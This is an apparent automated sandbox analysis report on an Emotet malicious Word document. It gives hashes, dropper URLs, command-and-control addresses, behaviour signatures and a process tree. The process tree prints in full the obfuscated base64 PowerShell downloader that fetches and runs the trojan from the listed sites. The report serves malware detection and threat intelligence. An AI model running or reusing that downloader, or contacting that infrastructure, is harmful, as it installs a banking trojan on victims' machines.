emotet | 0f3b4df80ef42ece284a0595a94a42938a68c467a9b48507962049043832b5f4

General

Target

AQH20.09.doc
Size

176KB
MD5

69dda1d79bedba96d70aeeac23a99a49
SHA1

d8c7ff721dbd58e04b01019aaef8423fe448c2b4
SHA256

0f3b4df80ef42ece284a0595a94a42938a68c467a9b48507962049043832b5f4
SHA512

517fcbf7e933b1587c0f2b7414b6cdae5e946106a3a63579d4a50b1c45d8eedb5c0599dabf677068f738c2b10ec981f0c74d9a1bf3de0a05ec47294394fb8a32

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://reseller-demo-website.com/discussion/qWWf8FS/

exe.dropper

https://www.mockdumps.com/test/Z2pJ/

exe.dropper

https://twisterprint.com/chrometheme/Vcr/

exe.dropper

http://simulations.org/rw_common/KfX2MW/

exe.dropper

http://planosdesaudesemcarencia.com/erros/JHoq/

exe.dropper

https://viaje-achina.com/wp-admin/A1O8tL/

exe.dropper

https://cearacultural.com.br/turismo/oy/

Extracted

Family

emotet

C2

71.72.196.159:80

134.209.36.254:8080

120.138.30.150:8080

94.23.216.33:80

157.245.99.39:8080

137.59.187.107:8080

94.23.237.171:443

61.19.246.238:443

156.155.166.221:80

50.35.17.13:80

153.137.36.142:80

91.211.88.52:7080

209.141.54.221:8080

185.94.252.104:443

174.45.13.118:80

87.106.136.232:8080

62.75.141.82:80

213.196.135.145:80

188.219.31.12:80

82.80.155.43:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2520	1756	powershell.exe

Emotet Payload 6 IoCs

Detects Emotet payload in memory.

Processes:

resource	yara_rule
behavioral2/memory/2188-13-0x00000000021C0000-0x00000000021D2000-memory.dmp	emotet
behavioral2/memory/2188-13-0x00000000021C0000-0x00000000021D2000-memory.dmp	emotet
behavioral2/memory/2188-14-0x0000000000590000-0x00000000005A0000-memory.dmp	emotet
behavioral2/memory/2188-14-0x0000000000590000-0x00000000005A0000-memory.dmp	emotet
behavioral2/memory/3656-17-0x00000000005F0000-0x0000000000602000-memory.dmp	emotet
behavioral2/memory/3656-17-0x00000000005F0000-0x0000000000602000-memory.dmp	emotet

Blacklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

21 2520 powershell.exe
25 2520 powershell.exe
Executes dropped EXE 2 IoCs

Processes:

Avbjjxx_b.exesecproc_ssp.exe

pid process

2188 Avbjjxx_b.exe
3656 secproc_ssp.exe
Drops file in System32 directory 1 IoCs

Processes:

Avbjjxx_b.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\iscsiwmiv2\secproc_ssp.exe Avbjjxx_b.exe

flow	pid	process
21	2520	powershell.exe
25	2520	powershell.exe

pid	process
2188	Avbjjxx_b.exe
3656	secproc_ssp.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\iscsiwmiv2\secproc_ssp.exe	Avbjjxx_b.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

3888 WINWORD.EXE
3888 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 7 IoCs

Processes:

powershell.exesecproc_ssp.exe

pid process

2520 powershell.exe
2520 powershell.exe
2520 powershell.exe
3656 secproc_ssp.exe
3656 secproc_ssp.exe
3656 secproc_ssp.exe
3656 secproc_ssp.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2520 powershell.exe
Suspicious use of SetWindowsHookEx 9 IoCs

Processes:

WINWORD.EXE

pid process

3888 WINWORD.EXE
3888 WINWORD.EXE
3888 WINWORD.EXE
3888 WINWORD.EXE
3888 WINWORD.EXE
3888 WINWORD.EXE
3888 WINWORD.EXE
3888 WINWORD.EXE
3888 WINWORD.EXE

pid	process
3888	WINWORD.EXE
3888	WINWORD.EXE

pid	process
2520	powershell.exe
2520	powershell.exe
2520	powershell.exe
3656	secproc_ssp.exe
3656	secproc_ssp.exe
3656	secproc_ssp.exe
3656	secproc_ssp.exe

description	pid	process
Token: SeDebugPrivilege	2520	powershell.exe

pid	process
3888	WINWORD.EXE
3888	WINWORD.EXE
3888	WINWORD.EXE
3888	WINWORD.EXE
3888	WINWORD.EXE
3888	WINWORD.EXE
3888	WINWORD.EXE
3888	WINWORD.EXE
3888	WINWORD.EXE

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

powershell.exeAvbjjxx_b.exe

description	pid	process	target process
PID 2520 wrote to memory of 2188	2520	powershell.exe	Avbjjxx_b.exe
PID 2520 wrote to memory of 2188	2520	powershell.exe	Avbjjxx_b.exe
PID 2520 wrote to memory of 2188	2520	powershell.exe	Avbjjxx_b.exe
PID 2188 wrote to memory of 3656	2188	Avbjjxx_b.exe	secproc_ssp.exe
PID 2188 wrote to memory of 3656	2188	Avbjjxx_b.exe	secproc_ssp.exe
PID 2188 wrote to memory of 3656	2188	Avbjjxx_b.exe	secproc_ssp.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\AQH20.09.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3888

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -en JABRAGsAeQBfAHoAYwByAD0AKAAnAE8AagAnACsAKAAnAGIAYQAnACsAJwA0ADQAJwApACsAJwAxACcAKQA7ACYAKAAnAG4AZQB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAGUAbgBWADoAdQBzAEUAUgBwAHIAbwBmAEkATABFAFwAaQB4AF8AVQAwAGUARQBcAEQAYQAzAEkAcABmAHYAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAHIARQBDAHQAbwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBjAFUAcgBpAHQAYAB5AGAAcABSAG8AdABPAGAAQwBvAEwAIgAgAD0AIAAoACgAJwB0AGwAcwAxADIAJwArACcALAAnACsAJwAgACcAKQArACcAdABsACcAKwAnAHMAJwArACcAMQAxACcAKwAoACcALAAnACsAJwAgAHQAbABzACcAKQApADsAJABQADQAZAA1AGIAZABpACAAPQAgACgAKAAnAEEAdgAnACsAJwBiACcAKQArACgAJwBqAGoAeAB4ACcAKwAnAF8AJwApACsAJwBiACcAKQA7ACQATgBsAGQAaQBrAHEAaQA9ACgAJwBFACcAKwAoACcAMgBwACcAKwAnAGoANwAnACsAJwBqAGcAJwApACkAOwAkAEMAZgBfAHkAbAA3AHIAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACcAewAwAH0ASQB4AF8AJwArACgAJwB1ADAAJwArACcAZQBlACcAKQArACcAewAwAH0ARABhADMAaQAnACsAJwBwAGYAJwArACcAdgB7ADAAJwArACcAfQAnACkAIAAtAGYAWwBjAGgAYQByAF0AOQAyACkAKwAkAFAANABkADUAYgBkAGkAKwAoACcALgAnACsAKAAnAGUAeAAnACsAJwBlACcAKQApADsAJABaAHoAZABkAG4AbgBsAD0AKAAnAEYAJwArACcANQBkACcAKwAoACcAbAAnACsAJwBvAF8AeQAnACkAKQA7ACQAWAA0ADcANABmAHkAMgA9ACYAKAAnAG4AJwArACcAZQB3AC0AbwBiAGoAZQAnACsAJwBjAHQAJwApACAATgBlAFQALgB3AGUAYgBjAEwAaQBFAE4AdAA7ACQAUQBhADkAdwA1ADgAdwA9ACgAKAAnAGgAdAB0ACcAKwAnAHAAOgAvAC8AJwArACcAcgBlAHMAZQAnACkAKwAoACcAbABsAGUAcgAtACcAKwAnAGQAZQAnACsAJwBtACcAKQArACcAbwAtACcAKwAnAHcAZQAnACsAJwBiAHMAJwArACcAaQAnACsAJwB0AGUAJwArACcALgBjACcAKwAnAG8AJwArACcAbQAvACcAKwAoACcAZABpACcAKwAnAHMAYwB1AHMAJwApACsAKAAnAHMAJwArACcAaQBvAG4ALwBxAFcAVwBmACcAKwAnADgARgAnACkAKwAoACcAUwAnACsAJwAvACoAJwArACcAaAB0AHQAJwApACsAKAAnAHAAcwAnACsAJwA6AC8ALwB3ACcAKQArACcAdwB3ACcAKwAoACcALgBtACcAKwAnAG8AJwArACcAYwBrAGQAdQBtAHAAcwAuAGMAJwApACsAJwBvAG0AJwArACcALwAnACsAKAAnAHQAJwArACcAZQBzAHQALwAnACsAJwBaADIAcABKAC8AKgAnACsAJwBoACcAKQArACcAdAB0ACcAKwAoACcAcABzADoAJwArACcALwAnACkAKwAoACcALwB0ACcAKwAnAHcAaQAnACkAKwAoACcAcwAnACsAJwB0AGUAJwApACsAKAAnAHIAcAAnACsAJwByAGkAJwApACsAKAAnAG4AdAAnACsAJwAuACcAKQArACgAJwBjAG8AJwArACcAbQAnACsAJwAvAGMAaAByAG8AJwApACsAKAAnAG0AZQAnACsAJwB0AGgAZQAnACkAKwAoACcAbQBlAC8AVgAnACsAJwBjAHIAJwArACcALwAqACcAKQArACgAJwBoACcAKwAnAHQAdAAnACkAKwAoACcAcAA6AC8ALwAnACsAJwBzACcAKQArACcAaQBtACcAKwAoACcAdQAnACsAJwBsAGEAJwApACsAKAAnAHQAaQBvACcAKwAnAG4AcwAuAG8AcgAnACsAJwBnACcAKQArACcALwAnACsAKAAnAHIAdwBfAGMAJwArACcAbwBtACcAKQArACgAJwBtAG8AJwArACcAbgAvACcAKwAnAEsAZgAnACkAKwAnAFgAMgAnACsAKAAnAE0AVwAvACoAaAB0AHQAJwArACcAcAA6AC8AJwArACcALwBwACcAKwAnAGwAYQAnACkAKwAnAG4AJwArACcAbwAnACsAKAAnAHMAJwArACcAZABlAHMAJwArACcAYQB1AGQAZQBzAGUAJwArACcAbQBjACcAKQArACcAYQAnACsAJwByAGUAJwArACcAbgBjACcAKwAnAGkAYQAnACsAJwAuACcAKwAnAGMAbwAnACsAKAAnAG0ALwAnACsAJwBlAHIAcgBvAHMALwAnACkAKwAnAEoAJwArACgAJwBIAG8AJwArACcAcQAvACoAaAB0ACcAKwAnAHQAcAAnACkAKwAnAHMAOgAnACsAKAAnAC8ALwB2AGkAYQBqAGUAJwArACcALQBhACcAKQArACgAJwBjACcAKwAnAGgAaQBuAGEALgAnACkAKwAnAGMAJwArACcAbwBtACcAKwAoACcALwB3AHAAJwArACcALQAnACkAKwAoACcAYQBkACcAKwAnAG0AaQAnACsAJwBuAC8AQQAxAE8AOAB0ACcAKQArACcATAAnACsAKAAnAC8AJwArACcAKgBoAHQAJwApACsAKAAnAHQAcABzACcAKwAnADoALwAnACkAKwAoACcALwBjAGUAJwArACcAYQByACcAKQArACgAJwBhAGMAdQBsACcAKwAnAHQAdQByAGEAJwArACcAbAAnACsAJwAuACcAKwAnAGMAbwBtAC4AYgAnACkAKwAoACcAcgAvACcAKwAnAHQAJwApACsAJwB1ACcAKwAoACcAcgAnACsAJwBpAHMAJwArACcAbQBvAC8AbwB5AC8AJwApACkALgAiAFMAcABMAGAAaQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAWQA2AHQAZwB6AGwAXwA9ACgAJwBVAG4AJwArACgAJwB3ADAAbQAzACcAKwAnADEAJwApACkAOwBmAG8AcgBlAGEAYwBoACgAJABXAGsAZQBuADgAaQBnACAAaQBuACAAJABRAGEAOQB3ADUAOAB3ACkAewB0AHIAeQB7ACQAWAA0ADcANABmAHkAMgAuACIAZABgAG8AdwBuAEwAbwBhAGQAZgBpAGAATABlACIAKAAkAFcAawBlAG4AOABpAGcALAAgACQAQwBmAF8AeQBsADcAcgApADsAJABDAGMAeAAwADgAMAByAD0AKAAoACcAQQBkACcAKwAnAGIAcQBtADgAJwApACsAJwBiACcAKQA7AEkAZgAgACgAKAAmACgAJwBHACcAKwAnAGUAdAAtACcAKwAnAEkAdABlAG0AJwApACAAJABDAGYAXwB5AGwANwByACkALgAiAGwARQBgAE4AZwBUAEgAIgAgAC0AZwBlACAAMgAzADgAMAAwACkAIAB7ACYAKAAnAEkAbgAnACsAJwB2AG8AawBlACcAKwAnAC0ASQB0AGUAbQAnACkAKAAkAEMAZgBfAHkAbAA3AHIAKQA7ACQAVABsAGEAMQBfAHMAegA9ACgAKAAnAE4AJwArACcAawBfADMAbQAnACkAKwAnAHkAcAAnACkAOwBiAHIAZQBhAGsAOwAkAEkAaABtAG4AMQA0AF8APQAoACcASgAnACsAJwBmACcAKwAoACcAdwBrACcAKwAnAHUAagA4ACcAKQApAH0AfQBjAGEAdABjAGgAewB9AH0AJABLADcAdwBxAHoAYwBkAD0AKAAnAFkAJwArACgAJwBqAG8AeQByAG8AJwArACcAeQAnACkAKQA=
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2520

C:\Users\Admin\Ix_u0ee\Da3ipfv\Avbjjxx_b.exe
"C:\Users\Admin\Ix_u0ee\Da3ipfv\Avbjjxx_b.exe"
2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:2188

C:\Windows\SysWOW64\iscsiwmiv2\secproc_ssp.exe
"C:\Windows\SysWOW64\iscsiwmiv2\secproc_ssp.exe"
3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:3656

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Admin\Ix_u0ee\Da3ipfv\Avbjjxx_b.exe

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C:\Users\Admin\ix_U0eE\Da3Ipfv\Avbjjxx_b.exe

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C:\Windows\SysWOW64\iscsiwmiv2\secproc_ssp.exe

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memory/2188-10-0x0000000000000000-mapping.dmp

Download
memory/2188-13-0x00000000021C0000-0x00000000021D2000-memory.dmp

Filesize
72KB

Download
memory/2188-14-0x0000000000590000-0x00000000005A0000-memory.dmp

Filesize
64KB

Download
memory/2520-7-0x00007FF8B8240000-0x00007FF8B8C2C000-memory.dmp

Filesize
9.9MB

Download
memory/2520-8-0x00000165B5590000-0x00000165B5591000-memory.dmp

Filesize
4KB

Download
memory/2520-9-0x00000165B5770000-0x00000165B5771000-memory.dmp

Filesize
4KB

Download
memory/3656-15-0x0000000000000000-mapping.dmp

Download
memory/3656-17-0x00000000005F0000-0x0000000000602000-memory.dmp

Filesize
72KB

Download
memory/3888-0-0x00007FF8BF340000-0x00007FF8BFA06000-memory.dmp

Filesize
6.8MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads